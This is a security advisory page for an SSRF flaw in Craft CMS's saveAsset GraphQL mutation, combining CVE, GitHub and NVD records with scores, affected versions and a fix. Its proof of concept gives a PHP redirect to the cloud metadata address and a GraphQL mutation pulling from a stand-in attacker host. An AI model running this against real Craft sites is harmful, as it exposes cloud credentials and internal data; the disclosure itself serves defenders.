6.9medium
Craft has a SSRF in GraphQL Asset Mutation via HTTP Redirect
- Severity
- 6.9medium CVSS:4.0 by GitHub_M
- Exploit likelihood
- 0.40% (higher than 36% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-8jr8-7hr4-vhfx
Description
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| craftcms cms | >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 | CVE List |
| craftcms/cms (Packagist) | from 5.0.0-RC1 before 5.8.22, from 4.0.0-RC1 before 4.16.18 | GitHub Advisory Database |
| craftcms craft_cms | from >4.0.0 before 4.16.18, from >5.0.0 before 5.8.22, 4.0.0, 5.0.0 | NVD |
All scores
| GitHub_M | 6.9medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N |
| GitHub | medium CVSS:4.0 | CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X |
| NVD | 6.5medium CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N |
Classification
SSVC (CISA-ADP): exploitation none, automatable yes, technical impact partial.
What each source says
CVE List
Craft is a platform for creating digital experiences. In Craft versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, the saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses. This issue is patched in versions 4.16.18 and 5.8.22.
GitHub Advisory Database
Summary
The saveAsset GraphQL mutation validates the initial URL hostname and resolved IP against a blocklist, but Guzzle follows HTTP redirects by default. An attacker can bypass all SSRF protections by hosting a redirect that points to cloud metadata endpoints or any internal IP addresses.
Proof of Concept
- Host a redirect script on your server (e.g.
redirect.php):
<?php header("Location: http://169.254.169.254/latest/meta-data/"); ?>
- Send the following GraphQL mutation:
mutation {
save_images_Asset(_file: {
url: "https://attacker.com/redirect.php"
filename: "metadata.txt"
}) {
id
}
}
- The application validates
attacker.com(passes) - Guzzle follows the redirect to
169.254.169.254 - Cloud metadata is saved as an asset
Mitigation
- Disable redirects.
NVD (es)
Craft es una plataforma para crear experiencias digitales. En las versiones de Craft 4.0.0-RC1 a 4.16.17 y 5.0.0-RC1 a 5.8.21, la mutación GraphQL saveAsset valida el nombre de host de la URL inicial y la IP resuelta contra una lista de bloqueo, pero Guzzle sigue las redirecciones HTTP por defecto. Un atacante puede eludir todas las protecciones SSRF al alojar una redirección que apunta a puntos finales de metadatos en la nube o a cualquier dirección IP interna. Este problema está parcheado en las versiones 4.16.18 y 5.8.22.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-25493 changed 2026-02-10 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-8jr8-7hr4-vhfx changed 2026-02-09 | CC-BY-4.0 |
| NVD | CVE-2026-25493 changed 2026-06-17 | Public domain |